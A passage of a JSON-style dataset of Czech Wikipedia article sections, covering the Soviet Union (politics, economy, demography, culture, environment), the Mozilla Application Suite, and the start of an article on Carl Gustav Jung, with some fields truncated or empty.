Georgij Čičerin (1872-1936), Maxim Litvinov (1876-1951), Vjačeslav Molotov (1890-1986), Andrej Vyšinskij (1883-1954) a Andrej Gromyko (1909-89). Intelektuálové sídlili v Moskevském státním institutu mezinárodních vztahů.", "Kominterna (1919–1943) nebo Komunistická internacionála byla mezinárodní komunistická organizace se sídlem v Kremlu, která obhajovala \"světový komunismus\". Komiterna chtěla \"bojovat všemi dostupnými prostředky, včetně ozbrojených sil, za svržení mezinárodní buržoazie a vytvoření mezinárodní sovětské republiky jako přechodné fáze než dojde k úplnému zrušení státu\". Byla zrušena jako smírčí opatření vůči Británii a USA. RVHP (Совет Экономической Взаимопомощи, Sovět Ekonomičeskoj Vzaimopomošči, СЭВ, SEV) byla v letech 1949-1991 hospodářskou organizací pod sovětskou kontrolou, která zahrnovala státy východního bloku spolu s řadou komunistických států jinde ve světě. Moskva byla znepokojena Marshallovým plánem a cílem RVHP bylo zabránit tomu, aby země v sovětské sféře vlivu směřovaly k Američanům a jihovýchodní Asii. RVHP byla také odpovědí východního bloku na vytvoření Organizace pro hospodářskou spolupráci a rozvoj", "V Sovětském svazu byly tři zdroje moci: Zákonodárnou moc reprezentoval Nejvyšší sovět Sovětského svazu, vládu reprezentovala Rada ministrů). Komunistická strana Sovětského svazu byla jedinou legální politickou stranou a jediným tvůrcem politiky země. Co se týče způsobu vlády, jednalo se do roku 1953 (Stalinova smrt) o totalitní politický systém a po roce 1953 o tzv. kvazitotalitní politický systém.", "Gorbačov, který byl od roku 1985 v čele Sovětského svazu, zahájil", "Sovětský svaz byl federací sovětských socialistických republik (SSSR). První z nich byly založeny krátce po roce 1917. Formálně byly autonomní, ale ovládány centrální komunistickou stranou (KSSS). Republiky se dále dělily na oblasti (kromě Litvy, Lotyšska, Estonska, Moldavska a", "Podle vojenského zákona ze září 1925 se sovětské ozbrojené síly skládaly ze tří složek: pozemních síl, letectva, námořnictva, sjednocené státní politické správy (OGPU) a vnitřních vojsk. OGPU se později stala nezávislou a v roce 1934 se součila s NKVD, a tak byla její vnitřní vojska pod společným vedením obranných a vnitřních komisariátů. Po druhé světové válce vznikla strategická raketová vojska (1959), vojska protivzdušné obrany (1948) a jednotky všenárodní civilní obrany (1970), které stály na prvním, třetím a šestém místě v oficiálním sovětském systému důležitosti (pozemní síly byly druhé, letectvo čtvrté a námořnictvo páté). Armáda měla největší politický vliv a v roce 1989 čítala dva", "Soudnictví nebylo nezávislé na ostatních odvětvích vlády. Nejvyšší soud dohlížel na nižší soudy (lidový soud) a používal zákon tak, jak byl stanoven", "Nejvyššími představiteli (zpravidla ve funkci předsedy prezídia Nejvyššího sovětu, které bylo kolektivní hlavou státu)", "Na konci 50. let SSSR s pomocí inženýrů a technologií dovezených z poraženého Německa, zkonstruovali Sověti první umělou družici – Sputnik 1 a předběhli tak USA. Poté následovaly další úspěšné družice a byli vysláni i pokusní psi. Dne 12. dubna 1961 byl vyslán první kosmonaut Jurij Gagarin. Ten jednou obletěl zemi a úspěšně přistál v kazašské stepi. V té době se v sovětských projekčních kancelářích rýsovaly první plány raketoplánů a orbitálních stanic, tomu však nakonec zamezily osobní spory mezi projektanty a vedením. Prvním velkým fiaskem pro SSSR bylo přistání Američanů na Měsíci, kdy Rusové nebyli schopni v dostatečné době odpovědět", "Sovětský svaz se stal první zemí, která přijala plánovanou ekonomiku, kde výrobu a distribuci zboží centralizovala a řídila vláda. První bolševická zkušenost s velitelskou ekonomikou byla politika válečného komunismu, která zahrnovala znárodnění průmyslu, centralizovanou distribuci outputu (výsledek výrobního procesu), donucovací požadavky na zemědělskou výrobu a pokusy odstranit peněžní oběh, soukromé podniky a volný trh. Po vážném ekonomickém kolapsu nahradil Lenin v roce 1921 válečný komunismus novou ekonomickou politikou (NEP), legalizoval volný trh a soukromé vlastnictví malých podniků. Ekonomika se rychle zotavila. Po dlouhé debatě mezi členy politbyra o průběhu hospodářského rozvoje, v letech 1928-1929, získal kontrolu nad zemí Josef Stalin, opustil NEP a prosadil plné centrální plánování, začal násilnou kolektivizaci zemědělství a přijal drakonickou pracovní legislativu. Zdroje byly zmobilizovány pro rychlou industrializaci, která během třicátých let značně rozšířila sovětskou kapacitu těžkého průmyslu a investičního majetku. Hlavní motivací pro industrializaci byla příprava na válku, většinou kvůli nedůvěře k \"vnejšímu\" kapitalistickému světu. V důsledku toho se SSSR přeměnil z převážně agrární ekonomiky na velký průmyslový stát, který si razil cestu k vzestupu jako velmoc po druhé světové válce. Válka sovětskou ekonomiku a infrastrukturu velmi zdevastovala a vyžadovala rozsáhlou rekonstrukci. Počátkem čtyřicátých let se sovětská ekonomika stala relativně soběstačnou; po většinu období až do vzniku RVHP se na mezinárodním trhu obchodovalo s pouze velmi malým podílem sovětských domácích produktů. Po vzniku Východního bloku zahraniční obchod rychle rostl. Přesto byl vliv světové ekonomiky na SSSR omezen pevnými domácími cenami a státním monopolem na zahraniční obchod. Okolo šedesátých let se staly hlavními objekty dovozu obilí a sofistikované spotřební výrobky. Během závodů ve zbrojení ve studené válce byla sovětská ekonomika zatěžována vojenskými výdaji, za které byly silně lobovány mocnou byrokracií závislou na zbrojním průmyslu. Současně se Sovětský svaz stal největším vývozcem zbraní do zemí třetího světa. Od třicátých let až do rozpadu koncem roku 1991 zůstalo fungování ekonomiky v SSSR v podstatě stejné. Ekonomika byla formálně řízena centrálním plánováním, které prováděl Gosplan a organizovaná v pětiletých plánech. V praxi však byly plány velmi \"agregované\" a provizorní, s výhradou intervencí ad hoc ze strany nadřízených. Všechna klíčová hospodářská rozhodnutí byla přijata politickým vedením. Přidělené prostředky a cíle plánu byly obvykle denominovány spíše v rublech než ve fyzickém zboží.", "Doprava byla klíčovou součástí národního hospodářství. Hospodářská centralizace konce dvacátých a třicátých let vedla k masivnímu rozvoji infrastruktury, zejména k založení aerolinek Aeroflot. Země disponovala širokým spektrem dopravy po zemi, vodě a vzduchu, nicméně kvůli špatné údržbě byla většina sovětské silniční, vodní a civilní letecké dopravy ve srovnání se západním světem zastaralá a technologicky zaostalá. Sovětská železniční doprava byla největší a nejintenzivněji používaná na světě. Koncem sedmdesátých a začátkem osmdesátých let sovětští ekonomové volali po výstavbě", "Nadměrná úmrtí během první světové války a ruské občanské války (včetně poválečného hladomoru) činila celkem 18 milionů, přibližně 10 milionů ve třicátých letech a více než 26 milionů v letech 1941-45. Poválečná sovětská populace byla o 45 až 50 milionů menší než by byla, kdyby pokračoval předválečný demografický vývoj. Podle Catherine Merridale by \"rozumný odhad celkového počtu nadměrných úmrtí po celé období by mohl být asi 60 milionů.\" Porodnost se v SSSR snížila z 44,0 na tisíc obyvatel v roce 1926 na 18,0 v roce 1974, a to hlavně kvůli rostoucí urbanizaci a rostoucímu průměrnému věku vstupu do manželství. Míra úmrtnosti také vykazovala postupný pokles - z 23,7 na tisíc v roce 1926 na 8,7 v roce 1974. Obecně byla míra porodnosti jižních republik v Zakavkazsku a střední Asii výrazně vyšší než míra porodnosti v severních částech Sovětského svazu a v období po druhé světové válce v některých případech dokonce ještě vzrostla - fenomén částečně připsaný pomalejší míře urbanizace a tradičně brzkým sňatkům v jižních republikách. Konec 60. a 70. let byly svědky obrácení klesající trajektorie míry úmrtnosti v SSSR a byla obzvláště výrazná u mužů v produktivním věku, ale také byla převládající v Rusku a dalších převážně slovanských oblastech země. Analýza oficiálních údajů z konce osmdesátých let ukázala, že po zhoršení na konci sedmdesátých a začátku osmdesátých let se úmrtnost dospělých začala znovu zlepšovat. Míra kojenecké úmrtnosti se zvýšila z 24,7 v roce 1970 na 27,9 roku 1974. Někteří výzkumníci považovali nárůst za velmi reálný, jako důsledek zhoršujících se zdravotních podmínek a služeb. Zvýšení jak dospělé, tak kojenecké úmrtnosti nebyly sovětskými úředníky vysvětlovány nebo obhajovány a sovětská vláda prostě přestala všechny statistiky úmrtnosti po dobu deseti let publikovat. Sovětští demografové a zdravotní specialisté mlčeli o zvýšení úmrtnosti až do konce osmdesátých let, kdy byla obnovena publikace údajů o úmrtnosti a vědci se mohli ponořit do skutečných příčin.", "Sovětský svaz byl velmi etnicky rozmanitým státem s více než 100 odlišnými etnickými skupinami. Celkový počet obyvatel byl v roce 1991 odhadován na 293 milionů. Podle odhadu z roku 1990 byla většina z nich Rusové (50,78%), následovaná Ukrajinci (15,45%) a Uzbeky (5,84%). Všichni občané SSSR měli svou vlastní etnickou příslušnost. Etnická příslušnost osoby byla zvolena", "Sovětský svaz jako mnohonárodnostní stát byl jazykově velmi bohatý. Kromě dominující ruštiny a dalších slovanských jazyků se na jeho území hovořilo dalšími desítkami jazyků z mnoha jazykových skupin. Země jako taková neměla oficiální jazyk, přesto ruština jako řeč majoritní byla mnohdy preferována a zdůrazňoval se její význam jako hlavního komunikačního jazyka (). To vedlo k bilingvismu a multilingvismu, který byl mnohými národy nenáviděn (např. v pobaltských republikách, na západní Ukrajině a v dalších zemích). Formálně ale byly všechny jazyky na", "Oficiální údaje o náboženské příslušnosti v Sovětském svazu nebyly zveřejněny a země byla oficiálně ateistická. Západní zdroje však odhadovaly, že přibližně jedna třetina občanů byla nábožensky aktivní. Nejdůležitějšími náboženstvími v zemi byly křesťanství a islám. V rámci křesťanství měla největší podporu Ruská pravoslavná církev, ale byly zde i jiné ortodoxní církve, římské, řeckokatolické a různé protestantské skupiny. Většina muslimů v zemi patřila k sunnitům. Většina obyvatel Ázerbájdžánu náležela k ší'itům, zatímco súfismus byl zastoupen v Kazachstánu a Čečensku. Také zde žila významná židovská", "", "Právo na bezplatné vzdělávání na všech úrovních, od základního vzdělání až", "Masová média v Sovětském svazu sloužila jako prodloužená ruka komunistické strany, jejíž úkolem bylo také ovládat a mobilizovat společnost. Již od revoluce byli Lenin a bolševici závislí na mediální podpoře, aby získali podporu lidu. Prostřednictvím rozhlasu, novin a dalších publikací úřady naléhaly na lidi, aby \"budovali socialismus\". Později se důležitou součástí propagandy sovětských úřadů staly filmy, televize a počítače a všechna média byla používána k šíření marxisticko-leninských hodnot. Technologický vývoj však ztížil udržení přilnavosti k masové komunikaci, mimo jiné domácí videosystémy v osmdesátých letech 20.", "Kulturní život v Sovětském svazu prošel několika fázemi. V letech 1918-1929 existovaly poměrně svobodné podmínky a umělci experimentovali s různými způsoby hledání výrazného sovětského uměleckého stylu. Lenin chtěl, aby umění bylo k dispozici masám. Orgány tolerovaly více trendů pokud nebyly zjevně proti režimu. V rámci umění a literatury vzkvétalo několik různých škol, některé tradiční, jiné radikálně experimentální. V této době působili komunisté jako Maxim Gorkij a Vladimir Majakovskij. Filmová produkce byla považována za užitečný propagační nástroj pro získání širokých vrstev obyvatel, kteří byli povětšinou negramotní a byla podporována státem. Sovětská montážní škola měla v období 1920 až 1932 své zlaté období. Mnoho z nejlepších filmů režiséra Sergeje Ejzenštejn pochází z této doby, včetně filmu Křižník Potěmkin. Umění se také stalo jednotným a zaměřovalo se na ukázání nadvlády komunismu nad všemi ostatními formami vlády. Později během Stalinovy vlády byla sovětská kultura charakterizována vzestupem a provládním stylem socialistického realismu, přičemž všechny ostatní trendy byly silně potlačovány. Vzácně se objevily výjimky jako například Michail Bulgakov. Mnoho spisovatelů bylo uvězněno a zabito. Po Chruščovovském tání na přelomu padesátých a šedesátých let cenzury ubylo. Vzniklo zvláštní období sovětské kultury charakterizované konformním veřejným životem a intenzivním zaměřením na osobní život. Větší experimenty s uměleckými formami byly znovu povoleny, což vedlo k tomu, že začaly vznikat sofistikovanější a jemně kritické práce. Režim uvolnil důraz na socialistický realismus; například mnoho postav románů autora Jurije Trifonova se zabývalo spíše problémy každodenního života než budováním socialismu. V této pozdní době vznikla podzemní disidentská literatura, známá jako samizdat. V architektuře se Chruščovova éra soustředila především na funkční design na rozdíl od vysoce zdobeného stylu Stalinovy epochy. Ve druhé polovině osmdesátých let Gorbačovova politika perestrojky a glasnosti výrazně rozšířila svobodu projevu v celém Sovětském svazu, v médiích i tisku.", "V Sovětském svazu vždy existovala jasná souvislost mezi sportem a politikou. První hlavní rezoluce strany o sportu to jasně ukázala \"«na sportovní aktivity by se nemělo nahlížet pouze z pohledu veřejného zdraví a tělesné výchovy, nejen jako aspektu kulturního, ekonomického a vojenského výcviku mládeže, nejen jako prostředku socializace masy...ale jako i na prostředek náboru rolníků a pracovníků do různých stranických, pracovních a odborových organizací tak, aby byli přivedeni k společenským a politickým činnostem.»\" Sporty byly v SSSR organizovány v rámci Výboru pro kulturu a sport, který spadal pod vládu. Tento výbor měl pod sebou 36 sportovních klubů a všechny kromě dvou byly spojeny s odborovými svazy. Mezi příklady známých sportovních klubů souvisejících s odborovými organizacemi patřily Locomotiv (železniční pracovníci), Burevestnik (studenti) a Spartak (osoby zaměstnané např. v oblasti zdravotní", "Oficiální sovětská politika životního prostředí vždy přikládala velkou důležitost akcím, při nichž lidské bytosti aktivně zlepšují přírodu. Leninův citát \"Komunismus je sovětská moc a elektrifikace země!\" v mnoha ohledech shrnuje zaměření na modernizaci a rozvoj průmyslu. Během prvního pětiletého plánu z roku 1928 Stalin přistoupil k industrializaci země za každou cenu. Hodnoty jako ochrana životního prostředí a přírody byly zcela ignorovány v boji za vytvoření moderní průmyslové společnosti. Po Stalinově smrti se více zaměřilo na problematiku životního prostředí, ale základní vnímání hodnoty ochrany životního prostředí zůstalo stejné. Sovětské sdělovací prostředky se vždy věnovaly obrovské rozloze země a prakticky nezničitelným přírodním zdrojům. To vyvolalo pocit, že kontaminace a drancování přírody nebyly problém. Sovětský stát také pevně věřil, že vědecký a technologický pokrok by vyřešil všechny problémy. Oficiální ideologie říkala, že za socialismu by se problémy životního prostředí mohly snadno překonat, na rozdíl od kapitalistických zemí, kde by se zdánlivě nemohly vyřešit. Sovětské úřady měly téměř neochvějné přesvědčení, že člověk může přírodu překonat. Když však orgány v 80. letech musely připustit, že v Sovětském svazu existují ekologické problémy, vysvětlily problémy tak, že socialismus ještě nebyl plně rozvinut; znečištění v socialistické společnosti bylo jen dočasnou anomálií, která by byla vyřešena, kdyby se socialismus vyvíjel. Černobylská havárie v roce 1986 svět šokovala. Šlo o první velkou nehodu v civilní jaderné elektrárně, která na světe neměla obdoby, kdy bylo do ovzduší uvolněno větší množství radioaktivních izotopů. Radioaktivní dávky se rozptýlily relativně daleko. Hlavním zdravotním problémem po nehodě bylo 4000 nových případů rakoviny štítné žlázy, což však vedlo k relativně nízkému počtu úmrtí (údaje WHO, 2005). Nicméně dlouhodobé účinky nehody jsou neznámé. Mezi další velkou havárii patří kyštymská katastrofa. Po pádu SSSR se ukázalo, že problémy s životním prostředím jsou větší než jaké sovětské úřady připouštěly. Mezi místa s jasnými problémy patřil poloostrov Kola. Okolo průmyslových měst Mončegorsk a Norilsk, kde se těží např. nikl, byly všechny lesy zabity kontaminací, zatímco severské i jiné části Ruska byly ovlivněny emisemi. Během devadesátých let 20. století se lidé ze západu také zajímali o radioaktivní nebezpečí z jaderných zařízení, vyřazených jaderných ponorek a zpracování jaderného odpadu či vyhořelého jaderného paliva. Na počátku devadesátých let bylo také známo, že Sovětský svaz svážel radioaktivní materiál do Barentsova a Karského moře, což později potvrdil ruský parlament. Havárie ponorky K-141 Kursk v roce 2000 na západě dále přispěla k obavám. V minulosti došlo k nehodám ponorek K-19, K-8 nebo K-129." ] }

{ "title": [ "Historie.", "Vlastnosti.", "Podporu pro řadu platforem.", "Podpora standardů.", "Lokalizace do řady jazyků.", "Nástroje pro vývoj webu.", "Použitelnost a přístupnost.", "Nastavitelnost.", "Bezpečnost.", "Historie verzí." ], "section_level": [ "1", "1", "2", "2", "2", "2", "2", "2", "2", "1" ], "content": [ "V březnu 1998 uvolnil Netscape zdrojové kódy svého balíku Netscape Communicator pod open-source licencí. Zároveň založil organizaci Mozilla, jež měla koordinovat vývoj balíku \"Mozilla\". Původní záměr vývoje na existujícím zdrojovém kódu se však ukázal jako nereálný. Po letech vývoje se kód stal nabotnalý, příliš komplexní a trpěl celou řadou problémů. Některé části navíc nemohly být vydány jako open-source, protože se jednalo o produkty třetích stran. Padlo tedy rozhodnutí celý kód přepsat, což bylo zveřejněno v plánu vývoje 26. října 1998. Cílem bylo vytvořit celou novou platformu včetně nového renderovacího jádra. Následně na to rezignoval formálně hlavní vývojář Netscape Jamie Zawinski. Ve svém dopise na rozloučenou byl plný zklamání, rozčarování a únavy. První ukázka nově vytvářeného renderovacího jádra (tehdy ještě pod názvem \"NGLayout\", nyní znám jako Gecko) byla vydána 8. prosince 1998. Bylo menší a rychlejší než předchůdce (Mariner) a vešlo se na jednu disketu. Vzhledem k počátečnímu stádiu vývoje bylo nestabilní a s řadou chyb. Mozilla (kódové označení „SeaMonkey“) se měla stát \"platformou pro webové aplikace\" s plně programovatelným uživatelským rozhraním a modulární architekturou. Mozilla měla kromě webového prohlížeče též funkčně pokrýt e-mailového klienta, klienta pro instant messaging a další sadou aplikací pro práci s webem. Vzhledem k rozsáhlému přepisování kódu se celý projekt neustále zpožďoval, řady skeptiků rostly a mnoho lidí se domnívalo, že finální Mozilla nikdy nespatří světlo světa. Verze 1.0 byla nakonec vydána 5. června 2002 a byla nabízena pro operační systémy Microsoft Windows, Linux, Mac OS a Solaris. Uživatelům přinesla na tu dobu inovativní funkce jako rozsáhlou správu soukromí, nevyžádaných oken či třeba cookies. 15. července 2002 společnost AOL, tehdy již majitele Netscape, rozhodla, že se již dále nebude v projektu angažovat a převedla jej na nově vzniklou neziskovou organizaci Mozilla Foundation. Na tu byly převedeny ochranné známky a počáteční finance na fungování projektu. Pod nově vzniklou nadací vývoj balíku pokračoval, ale jako daleko více perspektivní se začaly vidět samostatné aplikace jako webový prohlížeč Mozilla Firefox (tehdy ještě pojmenován jako \"Phoenix\") či e-mailový klient Mozilla Thunderbird (původně \"Minotaur\"). Nakonec 10. března 2005 bylo oznámeno, že již nebude vydána žádná další verze tohoto balíku a poslední stabilní verzí se tak stala verze 1.7.x. Balík však nezanikl. Krátce na to se jej ujala skupina dobrovolníku a 2. července 2005 oznámili nově vzniklý balík s názvem SeaMonkey, který plynule navázal a stal se tak neoficiálním nástupcem balíku Mozilla Suite.", "Balík Mozilla Suite s sebou přinesl celou řadu zajímavých vlastností", "Mozilla Suite je k dispozici pro řadu platforem. Primární platformy jsou: Díky řadě dobrovolníků je však k dispozici i pro řadu jiných platforem jako třeba BeOS či Solaris. Z pohledu multiplatformnosti je důležitou technologií XUL (rozšiřitelné uživatelské rozhraní \"eXtensible User-interface Language\"). Je to na XML založená, přenositelná technologie uživatelského rozhraní. Tato technologie umožňuje vývojářům definovat systémově nezávislý grafický uživatelský interface, použitím směsi XML, HTML, CSS a ECMAScriptu (JavaScript).", "Balík má velmi dobrou podporu celé řady webových standardů. Renderovací jádro Gecko, která slouží k vykreslování webových stránek a grafického rozhraní, má podporu standardů jako HTML, XML, XHTML, CSS, JavaScript, DOM, MathML, DTD, XSL či třeba XPath.", "Díky přispěvatelům v různých končinách planety byl balík k dispozici v 36 jazycích včetně češtiny. Lokalizaci bylo možné provádět bez nutnosti znalosti programování, stačil obyčejný textový editor. K lokalizaci rozšíření Mozilla Application Suite se často používal systém BabelZilla (téměř tisíc rozšíření).", "Součástí instalačního balíčku jsou tří nástroje, které pomáhají tvůrcům webu: DOM Inspector, Venkman a Konzola JavaScriptu. Až na Konzolu JavaScriptu se jedná o nástroje, jejichž instalace je volitelná.", "Mozilla podporuje prohlížení v panelech, což umožňuje otevřít více webových stránek v rámci jednoho okna webového prohlížeče. Prohlížeč z balík se též řadí do skupiny prohlížečů, které umějí blokovat nevyžádaná okna. Silnou stránkou prohlížeče je též rychlé vyhledávání obsahů a odkazů na webové stránce. E-mailový klient obsahuje velmi účinný nástroj na filtrování nevyžádané pošty (spamu).", "Balík je velmi dobře konfigurovatelný a to jak přes rozsáhlý dialog předvoleb, tak přes konfigurační stránku about:config. Další funkcionalitu lze přidávat pomocí rozšíření. Vzhled aplikace lze měnit pomocí motivů vzhledu.", "Balík si zakládal na bezpečnostní politice, která se snažila rychle reagovat na nalezené bezpečnostní chyby. Jedním z kroků pro zvýšení bezpečnosti byla i snaha, aby nalezené chyby byly naleziteli hlášeny přímo vývojářům. Za nalezenou závažnou chybu byla (a stále je) vyplácena finanční odměna 500$.", "Níže je seznam verzí, které byly vydány od verze 1.0. Poslední vydanou verzí je 1.7.13, která byla vydána 21. dubna 2006." ] }

{ "title": [ "Biografie.", "Dětství a mládí.", "Působení v Burghölzli.", "Spolupráce a přátelství s Freudem.", "Charakteristika Jungovy hlubinné psychologie.", "Vědomí a nevědomí.", "Symbolismus nevědomých projekcí.", "Bytostné Já (Selbst).", "Kritika.", "Pokračování Jungových myšlenek.", "Socionika.", "Osobní život." ], "section_level": [ "1", "2", "2", "2", "1", "2", "2", "2", "1", "1", "2", "1" ], "content": [ "", "Jako syn protestantského faráře prožíval všechny otcovy pochybnosti spojené s vírou. Jako velmi citlivé dítě se často oddával osobní imaginaci, při níž se pokoušel navázat kontakt s Bohem. Vzhledem k velikému množství duchovních hodnostářů v rodině se předpokládalo, že i jeho dráha půjde v otcových stopách. Poté, co objevil v rané dospělosti filosofii a literaturu, rozhodl se vymanit z rodinné tradice a nechal se zapsat ke studiu lékařství. Po absolutoriu se specializoval v oboru psychiatrie.", "V letech 1895–1900 studoval na univerzitě v Basileji a později Curychu. Curyšská univerzita měla svoji klinickou bázi v Burghölzli a Jung se stal jejím lékařem v roce 1900. Ústav vedl Eugen Bleuler, který se zabýval spíše tradičním popisným zkoumáním duševních chorob. V opozici k filosofické psychologii se Jung zabýval experimentální psychologií, v níž odvozoval zákony se stejnou platností jako ve vědě. Se svým spolupracovníkem Franzem Riklinem významně přepracovali Bleulerem používaný asociační test, rozšířili škálu podnětných slov i asociačních párů. Asociační test tak pro Junga představoval bránu k obsahům nevědomých komplexů v lidské psychice. Ve fabulacích duševně nemocných nacházel podobnosti s mýty a tuto shodu chápal jako projev společné základny individuální imaginace a vědomí celé lidské rasy. Studoval mytologii a sbíral materiál přeludů, halucinací a snů pacientů, který se mu zdál pro tuto teorii relevantní.", "V určitém slova smyslu se hovoří o vztahu učitele a žáka, avšak spolupráci Junga s Freudem charakterizuje především důvěra a přátelství. Jung se poprvé setkal s Freudem v roce 1907, jejich spolupráce trvala do roku 1912. Pro Freuda znamenal Jung nejinspirativnější prvek jeho psychoanalytického hnutí, především se shodovali ve výzkumech v oblasti hysterie. Freudovská psychoanalýza, která se zaměřovala na sexuální původ neurózy, však připadala Jungovi příliš omezená, přál si pracovat s „trajektorií“ neurózy a jejími implikacemi pro budoucí vývoj pacienta. Stejně tak pojetí komplexu jako jakéhosi homosexuálního rezidua z psychických prožitků raného dětství mu připadalo silně omezující. Objev fantazií americké spisovatelky Frank Millerové jej přivedl k podvědomým tvořivým imaginacím, mytologickým snům a fantaziím, které měly veskrze neosobní charakter. Subjekt se vrací k archaické mimoslovní formě výrazu. Zatímco pro Freuda byl symbolismus z větší části důsledkem historického a kulturního kontextu, Jung kladl na tyto faktory minimální důraz a zaměřil se na neosobní vrstvu lidské duše, kterou nazval kolektivní nevědomí. Zde se začaly společné cesty rozcházet. V roce 1912 vydal Jung studii \"Symboly proměny\", kde odmítl Freudův přílišný důraz na sexualitu a na příkladě symbolismu vizí Frank Millerové rozšířil pojetí libida jako obecné psychické a životní energie zaměřené na cíl. Freud nebyl schopen přijmout cokoli, co by bylo v neshodě s jeho teorií, kterou už mezitím povýšil na dogma. Vztah Freuda a Junga neměl jen vědecké, ale i osobní pozadí. Freud se rozhodl Junga adoptovat a „po vzoru patriarchů jej pomazat \"in partibus infidelium\" – v zemi nevěřících“. To později založilo problém, jak se vymanit z otcovské autority, a to zejména ve chvíli, kdy se objevil vztah konkurence. Jung v roce 1911 stanul v čele Mezinárodní psychoanalytické společnosti, kde setrval do roku 1914.", "Rok 1913 byl pro Junga zlomový. Po sérii apokalyptických snů a vizí rezignoval na přednášky na univerzitě a v roce 1914 se vzdal funkce prezidenta Mezinárodní psychoanalytické společnosti. V tomto období se věnoval převážně práci na svých teoretických studiích, založil úzký kroužek Psychologického klubu, věnoval se soukromé terapeutické praxi, avšak především zdokonalil svoji techniku, jak promlouvat se svým nevědomím. Navázal tak na své rané zážitky z dětské imaginace. Učil se personifikovat fenomény nevědomí, naslouchat jejich hlasu, a tím je vydělovat z bezbřehosti a činit je uchopitelnými vědomím. Došel k postulátu, že v individuální mysli existují prvky, které jí nepatří.", "Jung se snažil zachytit a popsat nějakou praktickou metodiku, jak se člověk může vypořádat se svým nevědomím. Byl si vědom toho, že náboženské filosofie, metafyzické systémy nebo symbolická imaginace pracují s tímto faktem. Psychologické výpovědi mají podle něj stejnou váhu jako výpovědi vědeckého rázu, jakými disponuje například fyzika. Jung v této souvislosti zavedl pojem psychické reality, kterou moderní osvícené pojetí člověka odkazuje mimo skutečnost. Neustále se snažil zdůrazňovat empirickou povahu duševních výpovědí a byl si zároveň vědom, že pro moderní vědecký názor nebude snadné tento fakt přijmout. Poukazoval na nebezpečí plynoucí z oddělení psychického světa od racionalisticky chápané skutečnosti. Na mnoha místech vyslovil předtuchu nebezpečného vlivu nezpracovaných nevědomých archetypů, která se mu splnila druhou světovou válkou. V těchto úvahách dospěl Jung k podstatnému zjištění, že vědomí a nevědomí se k sobě chovají komplementárně a kompenzačně. Po vzoru matematické vědy vytvořil pojem transcendentní funkce, faktor vědomí a faktor nevědomí tvoří jednu psychickou funkci, podobně jako komplexní číslo určuje poměr jednotlivých komponent. Různé varianty vztahu vědomých a nevědomých faktorů jsou charakteristické pro různé typy duševního onemocnění. Jung pracoval na koncepci psychologických typů. Zavedl dvojí kategorii povahy podle zaměření libida, introvertní (orientovaná do svého nitra) a extrovertní (orientovaná na vnější svět). Později klasifikaci doplnil o čtyři základní funkce lidské psychiky (myšlení, cit, vnímání, intuice). V této souvislosti hovořil o diferenciaci (rozlišení) jednotlivých funkcí, přičemž nejméně diferencovaná psychická funkce patří u jednotlivce do oblasti osobního nevědomí.", "V roce 1923 zahájil Jung stavbu věže v Bollingenu, obydlí, které je živoucím důkazem jeho dalšího objevu, psychického středu v lidské duši – Self neboli bytostného Já. Bollingenská věž, kterou psycholog neustále vlastními silami rozšiřoval, nebyla jen místem setkávání s různými osobnostmi, ale především symbolickým vyjádřením osobního růstu k celistvosti kombinací praktické životní orientace a zpracováním snové imaginativní látky. Pracoval přesně v intencích svého zjištění, že projekcí nevědomých obsahů do reality se stávají obsahy viditelné. Stavba tímto překračovala svůj symbolický význam. Koncem 20. let začal Jung studia alchymistického symbolismu, obracel se ke starým filosofickým mistrům (Mistr Eckhart, Paracelsus, sv. Augustin aj.), zkoumal křesťanství, jeho heretická hnutí a symbolismus, sám se účastnil objevení gnostických svitků z egyptského Nag Hammádí. Na půdě religionistického spolku Eranos se setkal s Mirceou Eliadem, Károlem Kerényim. S Richardem Wilhelmem pracoval na interpretaci Tajemství zlatého květu, esoterického textu čínského taoismu, napsal předmluvu k čínské knize proměn I-ťing. Veškerou získanou látku a znalosti trvale konfrontoval se svojí praxí psychiatra, jejíž spektrum klientely se pohybovalo od obyčejných pacientů psychiatrického ústavu v Küsnachtu až po známé i zámožné osobnosti (dcera Jamese Joyce, spisovatel Hermann Hesse, dcera Johna D. Rockefellera). Pořádal přednášky, psal články do odborných časopisů, studoval myšlení primitivních afrických kmenů.", "Na Basilejské univerzitě se v roce 1943 stal řádným profesorem lékařské psychologie, aniž by přerušil svou psychiatrickou praxi. Jeho nadmíru široký záběr vědomostí mu umožňoval vyjadřovat se fundovaně k současnému dění. Často se vracel ke svým textům a přepracovával je ve světle nově nabyté zkušenosti s religiózními a esoterními systémy. Symbolika alchymistických obrazových sérií jej přivedla ke koncepci dvojice archetypů anima a animus, přičemž mužskému světu tvoří nevědomý protějšek anima (ženská část duše) a naopak. Rozvíjením symboliky dochází adepti alchymie ke kontaktu s nevědomím a jejich psychický střed ve vědomém já se přesouvá směrem k Self. Stejnou charakteristiku našel Jung u snové imaginace, což jen podtrhlo teorii o zaměřenosti lidské psychiky na cíl (teleologie), který nazval procesem individuace a ztotožnil s vytvořením psychického středu v bytostném Já. Jako nástroj takto zaměřené terapie použil aktivní imaginaci, při níž klienti často zpracovávali své vize do obrazů, které po vzoru mandal východu zobrazují psychickou celost osobnosti v řádu kosmu. Jung své myšlenky na vývoj lidské duše neodděloval od biologické evoluce člověka. Nikdy však samostatně netematizoval evoluční teorii a vždy se držel svého psychologického úhlu pohledu. Jako psychologickou nutnost v rámci vývoje lidského myšlení viděl například přijetí čtvrté nevědomé psychické funkce do oblasti psychologie vědomí, takže jej vyhlášení dogmatu o nanebevzetí Panny Marie papežem Piem XII. v listopadu 1950 nijak nepřekvapilo, a to právě s ohledem na nauku o Nejsvětější Trojici. V souvislosti s pojmem synchronicity (nepříčinné spojení dějů) byl dotazován fyzikem Wolfgangem Paulim na možnost analogie při přechodových dějích elementárních částic. Při této příležitosti překročil i některá vědecká paradigmata, když v souvislosti se synchronicitou uvažoval, že psýché nemusí být vázaná na mozek, není lokalizovaná v prostoru nebo že je prostor psychicky relativní.", "Jungova práce nebyla přijímána bez výhrad. Před moderní vědou musel trvale dokazovat empirickou povahu svých zjištění a byl často obviňován z esoterismu. Z opačné strany jej například židovský filosof Martin Buber kritizoval za přílišné zatemňování Boha gnostickou spekulací. Častá výtka teologů směřuje k psychologizujícímu pojetí Boha, který jako autonomní psychický obsah nemá žádnou realitu mimo lidskou psýché. K této výtce se Jung vyjadřoval mnohoznačně, vždy se zřetelem na své psychologické zaměření. V korespondenci s anglickým dominikánem Victorem Whitem došlo navzdory veškerým sympatiím k neshodě okolo otázky \"privatio boni\". Zlo podle Junga patří do celku skutečnosti a nelze je redukovat na pouhý nedostatek dobra, a i zde nacházel pro tvrzení psychologické zdůvodnění.", "Jungova analytická psychologie je obecně 